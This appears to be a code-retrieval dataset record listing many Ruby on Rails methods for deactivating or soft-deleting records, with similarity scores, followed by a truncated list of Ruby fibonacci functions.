"def deactivate\n return false if deactivated?\n self.status = 'deactivated'\n save\n end",
"def deactivate\n update(state: 'inactive')\n end",
"def deactivate\n verify_post_request\n require_parameters :login\n\n Api.users.deactivate(params[:login])\n\n hash={}\n respond_to do |format|\n format.json { render :json => jsonp(hash) }\n format.xml { render :xml => hash.to_xml(:skip_types => true, :root => 'users') }\n end\n end",
"def deactivate\n @client = Client.find(params[:client_id])\n @client.is_active = false\n\n if @client.save\n redirect_to client_path(@client), notice: 'El cliente fue desactivado'\n else\n redirect_to client_path(@client), notice: 'No pudimos deactivar este cliente'\n end\n end",
"def deactivate\n \n end",
"def _deactivate\n\t\t\tend",
"def ajax_deactivate_funnel\n\n # Get the current funnel\n funnel = Funnel.find(params[:funnel_id])\n\n # Set Funnel Status To Active\n funnel.active = 0\n\n funnel.put('', {\n :active => funnel.active,\n })\n\n # Return Success Response\n response = {\n success: true,\n message: 'Funnel Updated!'\n }\n render json: response\n\n end",
"def deactivate\n current_customer.deactivate_left_voluntarily\n redirect_to(action: :index)\n end",
"def deactivate\n current_customer.deactivate_left_voluntarily\n redirect_to(action: :index)\n end",
"def deactivate\n ids = params[:ids]\n Prospect.where(id: ids).update_all(suppressed: true, updated_at: DateTime.now)\n respond_to do |format|\n format.html { redirect_to prospects_path, flash: { info: \"Prospects ( #{ids.join(',')} ) deactivated.\" } }\n format.json { head :no_content }\n end\n end",
"def deactivate\n ids = params[:ids]\n Prospect.where(id: ids).update_all(suppressed: true)\n respond_to do |format|\n format.html { redirect_to prospects_path, flash: { info: \"Prospects ( #{ids.join(',')} ) deactivated.\" } }\n format.json { head :no_content }\n end\n end",
"def decline\n order = current_user.restaurant.orders.find(params[:id])\n order.update(status: 2)\n render json: {is_success: true}, status: :ok\n end",
"def deactivate\n self.activation_code = 'DEACTIVATED'\n self.activated_at = nil\n end",
"def deactivate\n respond_to do |format|\n if @user_badge.update(active: false)\n format.html { redirect_to team_user_path(@team, @user), notice: 'User badge was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_badge }\n else\n format.html { render :edit }\n format.json { render json: @user_badge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def deactivate\n authorize! :deactivate, :items\n # Finds the current model (EM, EI, Category)\n @items_class2 = ClassFromString.equipment!(params[:controller])\n .find(params[:id])\n # Deactivate the model you had originally intended to deactivate\n @items_class2.destroy\n flash[:notice] = 'Successfully deactivated '\\\n + params[:controller].singularize.titleize\\\n + '. Any related equipment has been deactivated as well.'\n redirect_to request.referer # Or use redirect_to(back).\n end",
"def reactivate\n @administrator.reactivate\n respond_to do |format|\n format.html { redirect_to %i[admin settings root], notice: t('.success') }\n format.json { head :no_content }\n end\n end",
"def deactivate\n self.active = false\n save\n end",
"def deactivate_user(user_id)\n post(\"/users/#{user_id}/deactivate\")\n end",
"def destroy\n @api_key.update(active: false)\n respond_to do |format|\n format.html { redirect_to admin_api_keys_url, notice: 'Api key was successfully deactivated.' }\n format.json { head :no_content }\n end\n end",
"def deactivate_pax\n @pax_stake_currency.update_all(status: GlobalConstant::StakeCurrency.inactive_status)\n end",
"def deactivate\n return unless activate_btn.text.downcase == \"deactivate\"\n\n activate_btn.when_present.click\n\n @browser.div(:css => \".modal.deactivate-confirm\").when_present\n\n @browser.button(:css => \".modal.deactivate-confirm .btn-primary\").when_present.click\n\n @browser.wait_until { !active_icon.present? }\n end",
"def deactivate\n show = Show.find params[:id]\n show.active = false\n show.save\n\n flash[:notice] = \"Show Deactivated!\"\n redirect_to \"/admins/shows\"\n end",
"def deactivate\n copy self.class.deactivate(@id)\n true\n end",
"def deactivate!\n update_attribute('contact_status__c','Inactive')\n end",
"def deactivate\n\t @subscription = Subscription.find(params[:id])\n\t (@subscription.deactivate(flash) if @subscription.active?) if @subscription\n\n\t redirect_to plans_path\n\tend",
"def unsuscribe\n @estate = Estate.find(params[:id])\n @estate.update_attribute(:status, false)\n respond_to do |format|\n format.html { redirect_to estates_url, notice: 'Propiedad dada de baja exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def deactivate; end",
"def deactivate\n self.active = false\n self.save(:validate => false)\n end",
"def deactivate\n @user = User.find(params[:id])\n @user.deactivate!\n\n UserMailer.delay({ run_at: 1.minutes.from_now }).user_deactivated(@user) \n\n respond_to do |format|\n format.html { redirect_to :users, notice: 'Пользователь успешно деактивирован.' }\n end\n end",
"def deactivate!\n self.status = 'Inactive'\n nil\n end",
"def deactivate\n @client.delete(\"paypal_accounts/#{id}\")\n @attributes['active'] = false\n true\n end",
"def deactivate()\n end",
"def destroy\n cliente = Cliente.find(params[:id])\n cliente.update_attribute(:cliente_active, false)\n redirect_to clientes_path\n end",
"def xupdate\n\n @user= User.find(params[:id])\n if params[:deactivate] == 'yes'\n @user.soft_delete\n end\n if params[:reactivate] == 'yes'\n @user.update_attribute(:deleted_at, nil)\n end\n\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to users_path, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def admin_reactivate\n user = User.find(params[:id])\n authorize! :edit, @user #prevent other users from disabling OTP on another user.\n user.deactivated = false\n user.save!\n flash[:notice] = \"Successfully Reactivated user.\"\n redirect_back(fallback_location: '/')\n end",
"def destroy_and_deactivate\n destroy\n deactivate\n end",
"def deactivate\n @this_user.update_attributes(:active => false)\n redirect_to :controller => 'user', :action => 'view', :display_name => params[:display_name]\n end",
"def deactivate\n admin = Administrator.find_by_user_id(params[:id])\n admin.status = false\n admin.save\n @users = User.all\n render 'index'\n end",
"def deactivate_profile\n \t@user = User.find_by_id(params[:id])\n \tif @user.nil?\n render :json => {:success => false, :message => \"User not exists\"}, :status => :not_acceptable\n else\n \tbegin\n\t @user.is_activate = false\n\t @user.save!\n\t render :json => {:success => true,:message => \"User profile deactivated\", :user =>@user}, :status => :ok\n\t rescue Exception => e\n\t \tp e.backtrace\n\t render :json => {:success => false, :message => e.backtrace}, :status => :not_acceptable\n\t end\n end\n end",
"def revoke\n post('/api/revoke')\n end",
"def update\n if params[:status] == 'reject'\n @prescription.update(status: 'Reject')\n end\n end",
"def destroy\n @flavor.active=\"false\"\n @flavor.save\n respond_to do |format|\n format.html { redirect_to flavors_url, notice: 'Flavor was successfully made inactive.' }\n format.json { head :no_content }\n end\n end",
"def setValueToDeactivateArticle(data_of, id)\n @active = false\n options = {\n :digest_auth => @auth_digest ,\n :body => { :active => @active }.to_json\n }\n #url_data = stringGetUrlPath(data_of)\n url_put = getUrlOfArticleById(data_of, id)\n #puts \"url_request: #{url_request}\"\n updateData(url_put, options)\n end",
"def reactivate_job \n @job = Job.find_by(id: params[:undo][:job_id])\n @job.update_attribute(:status, 'ongoing') \n redirect_to @job\n end",
"def destroy\n @oferta = Oferta.find(params[:id])\n @oferta.update_attributes :status => Status.find_by_descricao('Inativo')\n\n respond_to do |format|\n format.html { redirect_to admin_ofertas_path }\n format.json { head :ok }\n end\n end",
"def deactivate!\n update_column(:active, false)\n end",
"def deactivate!\n update_column(:active, false)\n end",
"def deactivate\n @listing.update(\n active: false\n )\n flash[:notice] = \"You have successfully deactivated your listing.\"\n redirect_to user_path(current_user.id)\n\n favourited_users = @listing.favourited_users\n favourited_users.each do |user|\n user.notifications.create(\n title: \"Someone deactivated your favourite\",\n body: \"#{current_user.first_name} has deactivated your favourite #{@listing.title}\",\n read: false,\n )\n end\n end",
"def restobooking\n @buchung = Buchung.find(params[:id])\n @buchung.status='B' \n \n respond_to do |format|\n if @buchung.update_attributes(params[:buchung])\n format.html { redirect_to @buchung, notice: 'Buchung wurde erfolgreich geaendert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @buchung.errors, status: :unprocessable_entity }\n end\n end \n end",
"def deactivate!\n self.active = false\n if save!\n # Set the org_id on the Plan before calling deactivate. The org_id should\n # not be blank. This catches the scenario where the `upgrade:v2_2_0_part1`\n # upgrade task has not been run or it missed a record for some reason\n plan.org_id = user.org_id if plan.org_id.blank?\n plan.deactivate! if plan.authors.empty?\n true\n else\n false\n end\n end",
"def deactivate!(user)\n return false unless self.active?\n\n @user = user\n\n remove_hook!\n\n self.active = false\n self.save!\n end",
"def deactive\n user = User.find(params[:id])\n user.toggle!(:active)\n user.save\n if user.active == true \n redirect_to users_path, :notice => \"Activate User #{user.userName}\"\n else \n flash[:error] = \"Deactivate User #{user.userName}\"\n redirect_to users_path \n end\n end",
"def destroy\n @user = User.find(params[:id].to_i) rescue nil\n respond_to do |format|\n if @user\n success = @user.try(:deactivate!) rescue false\n\n if success\n format.xml { head :accepted }\n format.json { head :accepted }\n else\n format.xml { render :xml => user_presenter, :status => :precondition_failed }\n format.json { render :json => user_presenter, :status => :precondition_failed }\n end\n else\n format.xml { head :not_found }\n format.json { head :not_found }\n end\n end\n end",
"def activate\n \n @event = Event.find(params[:act][:event_id])\n @event.purchase_type = 'p'\n @event.save\n\n current_user.decrement(:purchased_events)\n current_user.save\n\n redirect_to @event, notice: \"Thank you for activating the Event Page for #{@event.title}. You will now have permanent access to this page.\"\n\nend",
"def destroy\n @property = Property.find(params[:id].to_i) rescue nil\n respond_to do |format|\n if @property\n success = @property.try(:deactivate!) rescue false\n \n if success\n format.xml { head :accepted }\n format.json { head :accepted }\n else\n format.xml { render :xml => property_presenter, :status => :precondition_failed }\n format.json { render :json => property_presenter, :status => :precondition_failed }\n end\n else\n format.xml { head :not_found }\n format.json { head :not_found }\n end\n end\n end",
"def destroy\n @house.deactivate!\n respond_to do |format|\n format.html { redirect_to houses_url, notice: 'House was successfully hidden.' }\n format.json { head :no_content }\n end\n end",
"def deactivate_service(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DeactivateService'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :account_id\n\t\t\targs[:query]['AccountId'] = optional[:account_id]\n\t\tend\n\t\tself.run(args)\n\tend",
"def destroy\n\n @usuario.update(:activo => false)\n respond_to do |format|\n format.html { redirect_to users_url, notice: 'Usuario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deactivate\n role = Role.find(params[:id])\n authorize role\n if role.deactivate!\n flash.now[:notice] = _('Plan removed')\n else\n flash.now[:alert] = _('Unable to remove the plan')\n end\n redirect_to(plans_path)\n end",
"def update\n \n if params[:reactivate] == \"true\"\n @subscriber.active = \"true\"\n @subscriber.save\n \n @subscriber.subscribers_books.each do |sb|\n sb.quantity = 1\n sb.save\n end\n \n\n redirect_to session[:request_page], notice: 'Subscriber has been reactivated.'\n return\n end\n \n if params[:commit]\n respond_to do |format|\n if @subscriber.update(subscriber_params)\n format.html { redirect_to @subscriber, notice: 'Subscriber was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscriber }\n else\n format.html { render :edit }\n format.json { render json: @subscriber.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to subscriber_path(@subscriber), notice: 'Edit canceled.'\n end\n end",
"def destroy\n @solicitacoes_avaliacoes_servico.update(ativo: false)\n respond_to do |format|\n format.html { redirect_to solicitacoes_avaliacoes_servicos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n forced? ? @user.destroy! : @user.deactivate!\n render json: StatusSerializer.new(:deleted), status: :ok\n end",
"def destroy\n @institute_admin = InstituteAdmin.find(params[:id])\n @institute_admin.is_activated? ? @institute_admin.update_attribute(:is_activated,false) : @institute_admin.update_attribute(:is_activated,true)\n flash[:notice]= 'InstituteAdmin was successfully updated.'\n respond_to do |format|\n format.js {render :nothing => true}\n format.html { redirect_to :back }\n format.json { head :ok }\n end\n end",
"def destroy\n @team = Team.find(params[:id].to_i) rescue nil\n respond_to do |format|\n if @team\n success = @team.try(:deactivate!) rescue false\n \n if success\n format.xml { head :accepted }\n format.json { head :accepted }\n else\n format.xml { render :xml => team_presenter, :status => :precondition_failed }\n format.json { render :json => team_presenter, :status => :precondition_failed }\n end\n else\n format.xml { head :not_found }\n format.json { head :not_found }\n end\n end\n end",
"def deactivate\n @active = false\n return\n end",
"def toggle_status\n @offer.toggle_status\n\n respond_to do |format|\n format.html { redirect_to admin_offers_url,\n notice: 'Offer status was updated.' }\n format.json { render :show, status: :ok, location: @offer }\n end\n end",
"def cancel\n @reservation.update(status: false)\n @reservation.seats.update(reserved: false)\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Reservation was successfully cancelled.' }\n format.json { head :no_content }\n end\n end",
"def deactivate\n customer_ref = params[:SubscriptionReferrer]\n subscription_ref = params[:SubscriptionReference]\n status = params[:SubscriptionStatus].to_s.downcase.strip\n\n user = User.find(customer_ref)\n \n subscription = user.active_subscription\n raise \"Received subscription deactivation for #{user.id} but the active subscription (#{subscription.reference}) doesn't match the notification (#{subscription_ref})\" unless subscription.reference == subscription_ref\n \n # set the new status\n subscription.status = status\n subscription.save!\n \n # move to default plan\n user.plan = Plan.default_plan\n user.save!\n \n # de-activate all channels\n user.deactivate_excess_channels!\n \n render nothing: true, status: 200\n end",
"def deactivate(parm=nil)\n\t\t\t raise \"Parameter not found: #{parm}\\n\" unless @parameters.has_key?(parm)\n\t\t\t\treturn set_active(parm, 0)\n\t\t\tend",
"def deactivate\n transaction do\n if update(active: false)\n case_assignments.update_all(active: false)\n supervisor_volunteer&.update(is_active: false)\n end\n end\n self\n end",
"def revoke\n self.state = :revoked\n self.save\n end",
"def toggle\n @objective = Objective.find(params[:id])\n @objective.toggle!(:completed)\n render json: @objective \n end",
"def destroy\n @employee_plan.update(current_status: \"Cancelled\", status: \"false\", confirm: \"false\")\n respond_to do |format|\n format.html { redirect_to employee_plans_url, notice: 'Employee plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @department.update(status: :inactive)\n render json: @department\n end",
"def destroy\n###### @company.destroy\n @company.active = false\n @company.save\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'company was successfully INACTIVATED.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @room_booking.status = 'canceled'\n @room_booking.save\n respond_to do |format|\n format.html { redirect_to room_bookings_url, notice: 'Room booking was successfully canceled.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @app = App.find(params[:id].to_i) rescue nil\n respond_to do |format|\n if @app\n success = @app.try(:deactivate!) rescue false\n\n if success\n format.xml { head :accepted }\n format.json { head :accepted }\n else\n format.xml { render :xml => app_presenter, :status => :precondition_failed }\n format.json { render :json => app_presenter, :status => :precondition_failed }\n end\n else\n format.xml { head :not_found }\n format.json { head :not_found }\n end\n end\n end",
"def deactivate\n @active = false\n end",
"def deactivate_action(name)\n @deactivated_actions ||= Set.new\n @deactivated_actions.add name.to_sym\n end",
"def destroy\n @job = Job.find(params[:id])\n @job.deactivate!\n flash[:notice] = \"Job successfully deactivated.\"\n respond_to do |format|\n format.html { redirect_to(edit_admin_job_url(@job)) }\n format.xml { head :ok }\n end\n end",
"def inactivate!\n self.update_attribute(:status, \"Inactive\")\n end",
"def activate!\n self.metadata[:inactive] = nil\n self.metadata.save\n end",
"def sub_reactivate\n begin\n ChargeBee::Subscription.reactivate(@subscription_id)\n render json: {\n :forward => \"/ssp/subscription\"\n }\n rescue ChargeBee::PaymentError =>e\n ErrorHandler.handle_charge_attempt_failure_errors(e, self)\n rescue ChargeBee::InvalidRequestError => e\n ErrorHandler.handle_invalid_errors(e, self)\n rescue Exception => e\n ErrorHandler.handle_general_errors(e, self)\n end\n end",
"def update\n @rent = Rent.find(params[:id])\n\n if params[:rent][:delete]\n @rent.kunstvoorwerp.update_attribute('status', 0)\n @rent.delete\n redirect_to :action => 'index'\n else\n if params[:rent][:done]\n @rent.kunstvoorwerp.update_attribute('status', 2)\n end\n if params[:rent][:revert]\n @rent.kunstvoorwerp.update_attribute('status', 0)\n end\n @rent.status = params[:rent][:status]\n @rent.save\n end\n end",
"def destroy\n if @employee.update(is_active: false)\n respond_to do |format|\n format.html { redirect_to employee_edits_path, notice: 'Employee was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @updateavail = Updateavail.find(params[:id])\n @updateavail.destroy\n\n respond_to do |format|\n format.html { redirect_to updateavails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_invite.status = :Rejected\n @user_invite.save\n redirect_back(fallback_location: user_root_path, notice: I18n.t('invites.rejected_successful'))\n end",
"def confirmation\n account = Account.find_by(uuid: params[:uuid]);\n\n if !account.nil?\n account.update_attribute(:activated, true)\n return render json: account\n end\n\n render json: { errors: [\"Account not found\"] }, status: 400\n end",
"def reactivate(c, ci, de, cr, cv)\n if state(COMMITMENT, c, ci, de, cr) and state(PENDING, c, ci, cv)\n apply([], [[PENDING, c, ci, cv]])\n end\nend",
"def destroy\n @agency.update_attribute(:status, 'N')\n respond_to do |format|\n format.html { redirect_to agencies_url, notice: 'Agency was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\tcliente = @tienda_cliente.cliente \n\t\tif @tienda_cliente.destroy\n redirect_to cliente_tiendas_clientes_url(cliente), notice: 'La tienda se borró exitosamente.'\n else\n\t\t\t@tienda_cliente.update(activo: false)\n\t\t\tredirect_to cliente_tiendas_clientes_url(cliente), notice: 'La tienda se ha desactivado.'\n\t\tend\n end",
"def destroy\n if @empresa.update_attributes(:activo => false, :modificador => current_user.id)\n redirect_to empresas_url\n else\n format.html { render :edit }\n format.json { render json: @empresa.errors, status: :unprocessable_entity }\n end\n end",
"def update!(**args)\n @decline_reason = args[:decline_reason] if args.key?(:decline_reason)\n end",
"def after_deactivate\n end"
] | [
"0.6535043",
"0.6502027",
"0.6497195",
"0.6474528",
"0.6473345",
"0.64664996",
"0.6379119",
"0.6335481",
"0.63133657",
"0.6246437",
"0.6218604",
"0.6201164",
"0.6141221",
"0.61262643",
"0.61262643",
"0.6048281",
"0.6043066",
"0.6030595",
"0.59413356",
"0.5925472",
"0.59025437",
"0.58885914",
"0.5882943",
"0.5862887",
"0.5843484",
"0.58049434",
"0.5804091",
"0.57933724",
"0.57875556",
"0.57557505",
"0.57508045",
"0.57495016",
"0.5741873",
"0.57174104",
"0.5707478",
"0.56982636",
"0.56839323",
"0.5683346",
"0.56762964",
"0.5671701",
"0.56689376",
"0.5641851",
"0.56306916",
"0.5630494",
"0.5630447",
"0.5622827",
"0.56218994",
"0.5610251",
"0.55922806",
"0.5576705",
"0.55517244",
"0.5550514",
"0.5550514",
"0.55419713",
"0.5532165",
"0.55192566",
"0.55117774",
"0.55108964",
"0.5503824",
"0.5486533",
"0.5486359",
"0.5485987",
"0.5481964",
"0.54802257",
"0.5476088",
"0.5455818",
"0.5440096",
"0.5432466",
"0.54272074",
"0.5403613",
"0.5400755",
"0.5399258",
"0.53976035",
"0.53892654",
"0.5387946",
"0.5379578",
"0.53583264",
"0.53510946",
"0.5350533",
"0.53437483",
"0.5338676",
"0.53358895",
"0.53350145",
"0.533496",
"0.5334702",
"0.53277034",
"0.5305917",
"0.5302199",
"0.5297241",
"0.529487",
"0.52858526",
"0.52750605",
"0.5267758",
"0.5265566",
"0.5251126",
"0.524985",
"0.5246172",
"0.52433634",
"0.5243311",
"0.52424514"
] | 0.6285831 | 9 |
Needs to be correctly rubyfied | def write_cdl(formater, strict = false)
@netcdf_elmt.write_cdl(formater, strict)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def private; end",
"def probers; end",
"def berlioz; end",
"def formation; end",
"def verdi; end",
"def schubert; end",
"def ruby_code(obj); end",
"def yyerrok; end",
"def yyerrok; end",
"def terpene; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def bs; end",
"def coder; end",
"def rassoc(p0) end",
"def encoding=(_arg0); end",
"def encoding=(_arg0); end",
"def encoding=(_arg0); end",
"def encoding=(_arg0); end",
"def encoding=(_arg0); end",
"def encoding=(_arg0); end",
"def encoding=(_arg0); end",
"def encodings; end",
"def jack_handey; end",
"def raw; end",
"def raw; end",
"def raw; end",
"def raw; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def r; end",
"def r; end",
"def compilereturn\n\n end",
"def codes; end",
"def suivre; end",
"def decode; end",
"def decode; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def encoding; end",
"def rubyify(sentence)\r\n\r\nend",
"def anchored; end",
"def converter; end",
"def custom; end",
"def custom; end",
"def weber; end",
"def romeo_and_juliet; end",
"def jruby?; end",
"def rossini; end",
"def PO108=(arg)",
"def stderrs; end",
"def normalize(code); end",
"def user_os_complex\r\n end",
"def formats; end",
"def formats; end",
"def encoding_line=(_arg0); end",
"def plain; end",
"def raw=(_arg0); end",
"def raw=(_arg0); end",
"def raw_value; end",
"def by_magic(io); end",
"def kex_byte_requirement; end",
"def buzzword; end",
"def buzzword; end",
"def beautify; end",
"def beautify; end",
"def ruby_engine; end",
"def ruby_engine; end",
"def convert_to_ruby (src)\n rb = \"\"\n # dunno how to deal with only leading declarations of ruby code,\n # so replace it with the other markings\n src.gsub!(/-%>/,\"%>\")\n while\tsrc.index(Embedded_ruby_line) != nil\n src.sub!(Embedded_ruby_line) { |match|\n match[match.index '%'] = \" \"\n \"<% \" + match + \" %>\"\n }\n end\n lines = src.split(Embedded_ruby_flag)\n\n is_ruby_line = false\n lines.each { |line|\n if (line.strip != \"\" and line.strip != nil)\n if is_ruby_line\n if line[0,1] == '='\n # line[0] = \" \"\n # rb += \"puts \" + line.strip\n rb+=\"gr_html_puts \"+line.strip\n else\n rb += line.strip\n end\n else\n rb += \"gr_html( \" + line.inspect + \" )\"\n end\n rb += \"\\n\"\n end\n is_ruby_line = (not is_ruby_line)\n }\n #puts rb\n return rb\n end",
"def method_731(base); end",
"def parslets; end",
"def python2ruby(expr, source)\n # unicode strings\n expr.gsub! \" u'\", \" '\"\n expr.gsub! ' u\"', ' \"'\n\n # triple strings\n expr.gsub! /\"\"\"(.*?)\"\"\"/, '%q{\\1}'\n\n # dict to hash\n expr.gsub! \"': '\", \"' => '\"\n\n # true\n expr = \"true\" if expr == \"1\"\n\n # differences in XML/URI serializations\n name = source.split('/').last.split('.').first\n expr.sub!('"','%22') if name == 'missing_quote_in_attr'\n expr.sub! '>', '>' if name == 'tag_in_attr'\n expr.gsub!('\"', \"\\\\\\\\'\").gsub!('"','\"') if name == 'quote_in_attr'\n\n # sanitization - not yet supported\n expr = 'true' if name == 'item_description_not_a_doctype2'\n expr = 'true' if name == 'item_description_not_a_doctype'\n\n # not yet supported... other\n expr = 'true' if name == 'rss_version_090'\n expr = 'true' if name == 'channel_docs'\n expr = 'true' if name.index('channel_image')\n expr = 'true' if name.index('_cloud_')\n expr = 'true' if name.index('guidislink')\n expr = 'true' if name.index('_textInput')\n expr = 'true' if name.index('_ttl')\n\n # Ones I don't understand\n expr = 'true' if name == 'item_description_and_summary'\n\n expr\nend",
"def bellini; end",
"def romeo_and_juliet_quote; end",
"def iso; end",
"def PO107=(arg)",
"def code=(_arg0); end",
"def code=(_arg0); end"
] | [
"0.6405247",
"0.59887683",
"0.597267",
"0.5894008",
"0.58938324",
"0.58494395",
"0.58386767",
"0.5763663",
"0.5763663",
"0.5743984",
"0.5727187",
"0.5727187",
"0.5727187",
"0.5727187",
"0.5642698",
"0.5619231",
"0.56012976",
"0.5598274",
"0.5598274",
"0.5597811",
"0.5597811",
"0.5597811",
"0.5597811",
"0.5597811",
"0.5597183",
"0.55864996",
"0.55792767",
"0.55792767",
"0.55792767",
"0.55792767",
"0.5569092",
"0.5569092",
"0.5569092",
"0.5569092",
"0.5569092",
"0.5569092",
"0.5569092",
"0.5562336",
"0.5562336",
"0.5562336",
"0.5562336",
"0.5555418",
"0.5555418",
"0.55520594",
"0.55332154",
"0.55203146",
"0.55005985",
"0.55005985",
"0.54925185",
"0.54925185",
"0.54925185",
"0.54925185",
"0.54925185",
"0.54925185",
"0.54925185",
"0.54925185",
"0.54925185",
"0.54925185",
"0.54925185",
"0.54925185",
"0.54925185",
"0.54925185",
"0.54925185",
"0.5473765",
"0.54723394",
"0.5470832",
"0.5445996",
"0.5445996",
"0.54457587",
"0.54455906",
"0.543861",
"0.543811",
"0.5435651",
"0.5423978",
"0.5412982",
"0.541194",
"0.5411262",
"0.5411262",
"0.54042476",
"0.5375652",
"0.53654164",
"0.53654164",
"0.5365139",
"0.5356381",
"0.5350287",
"0.5349338",
"0.5349338",
"0.53335065",
"0.53335065",
"0.53311276",
"0.53311276",
"0.532567",
"0.53244543",
"0.5322862",
"0.53152233",
"0.53143674",
"0.5313699",
"0.53128976",
"0.5303276",
"0.52989745",
"0.52989745"
] | 0.0 | -1 |
def fibonacci (num) array = [0] newnum = (num + array.last) array.push(newnum) return fibonacci(array.last) end puts fibonacci(1) def fibonacci(n) n <= 1 ? n : fibonacci( n 1 ) + fibonacci( n 2 ) end puts fibonacci(5) | def fibonacci(a, b, count, count_limit)
if(count >= count_limit)
return a
else
c = a + b
puts a
a = b
b = c
fibonacci(a, b, count += 1, count_limit)
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def fibonacci(num)\n if num == 0\n return 0\n end\n array = [0, 1, 1, 2, 3, 5, 8, 13, 21, 34]\n array[num - 1] + fibonacci(num - 2)\nend",
"def fibonacci( n )\r\n fib_nums = []\r\n return n if n <= 1\r\n fib_nums << fibonacci( n - 1 )\r\n fib_nums << fibonacci( n - 2 )\r\n p \"#{fib_nums}\"\r\nend",
"def fibonacci(num) \n\tfib = [0,1]\n (num - 2).times do \n \tfib << fib[-2] + fib[-1]\n end\n fib[-1]\nend",
"def fibonacci(num)\n (1..num).inject( [0,1] ) { |fib| fib << fib.last(2).inject(:+) }\n\nend",
"def fibonacci(number)\r\n if number < 2\r\n number\r\n else\r\n fibonacci(number - 1) + fibonacci(number - 2)\r\n end\r\nend",
"def fibonacci(num)\n fib_arr = [0, 1]\n if num == 0 || num == 1\n return fib_arr[num]\n else\n i = 2\n until fib_arr.length == num\n sum = fib_arr[-2] + fib_arr[-1]\n fib_arr.push(sum)\n i += 1\n end\n end\n fib_arr\nend",
"def fibonacci(num)\n fib_arr = [0, 1]\n if num == 0 || num == 1\n return fib_arr[num]\n else\n i = 2\n until fib_arr.length == num\n sum = fib_arr[-2] + fib_arr[-1]\n fib_arr.push(sum)\n i += 1\n end\n end\n fib_arr\nend",
"def fibonacci( n )\n return [1] if n < 2\n return [1,1] if n == 2\n arr = fibonacci(n-1)\n fib_sum = arr[-1] + arr[-2]\n arr << fib_sum\nend",
"def fibonacci(num)\n fib_arr = []\n\n\n if num == 0\n fib_arr = []\n return fib_arr\n elsif num == 1\n fib_arr = [0]\n return fib_arr\n elsif num == 2\n return fib_arr = [0,1] \n else \n fib_arr = [0,1]\n end\n\n while fib_arr.length < num\n fib_arr[fib_arr.length ] = fib_arr[-1] + fib_arr[-2]\n end\n\n return fib_arr\nend",
"def fibonacci(n)\r\n #basecase\r\n return [1] if n == 1\r\n return [1,1] if n == 2\r\n\r\n # # new_f = fibonacci(n -1)\r\n new_f = fibonacci(n -1)\r\n num = new_f[-1] + new_f[-2]\r\n new_f + [num]\r\n # new_arr << new_num\r\nend",
"def fibonacci(num)\n return 0 if num.zero?\n\n if num == 1\n 1\n else\n fibonacci(num - 1) + fibonacci(num - 2)\n end\nend",
"def fibonacci(num)\n array = [1,1]\n n = 0\n\n num.times do\n array << array[n] + array[n + 1]\n n += 1\n end\n\n array[n - 1]\nend",
"def fibonacci(num)\n array = [1,1]\n n = 0\n\n num.times do\n array << array[n] + array[n + 1]\n n += 1\n end\n\n array[n - 1]\nend",
"def fibonacci(integer)\n fibs = [1, 1]\n (integer - 2).times do |num|\n fibs << fibs[num] + fibs[num + 1]\n end\n fibs.last\nend",
"def fibonacci(num)\n if num < 2\n num\n else\n fibonacci(num - 1) + fibonacci(num - 2)\n end\nend",
"def fibonacci(num)\n if num < 2\n num\n else\n fibonacci(num - 1) + fibonacci(num - 2)\n end\nend",
"def fibonacci(number)\n return 1 if number == 1 || number == 2\n \n fib_array = [1, 1]\n\n 3.upto(number) do |num|\n fib_array << (fib_array[num-2] + fib_array[num-3]) \n end\n\n fib_array[number-2] + fib_array[number-3]\nend",
"def fibonacci(n)\r\n if n == 0\r\n return 0\r\n elsif n == 1\r\n return 1\r\n else\r\n return fibonacci(n-1) + fibonacci(n-2)\r\n end\r\nend",
"def fibonacci(num)\n return 1 if num <= 2\n fibonacci(num - 1) + fibonacci(num -2)\nend",
"def fibonacci_numbers(num) #method takes one argument. The amount of fibonacci numbers you wish to generate.\r\n\tfib_arr = [0,1] #the fibonacci sequence begins with integers 0 and 1\r\n\t(num-2).times {fib_arr << fib_arr[-1] + fib_arr[-2]} #because the first two numbers are given we subtract 2 from the number of times we want to push numbers into our fib_arr.\r\n#we add the last two numbers in the sequence togther and push that to the fib_arr\r\n\treturn fib_arr #return array with new numbers\r\nend",
"def fibonacci(number)\n if number < 2\n number\n else\n fibonacci(number - 1) + fibonacci(number - 2)\n end\nend",
"def fibonacci(number)\n if number < 2\n number\n else\n fibonacci(number - 1) + fibonacci(number - 2)\n end\nend",
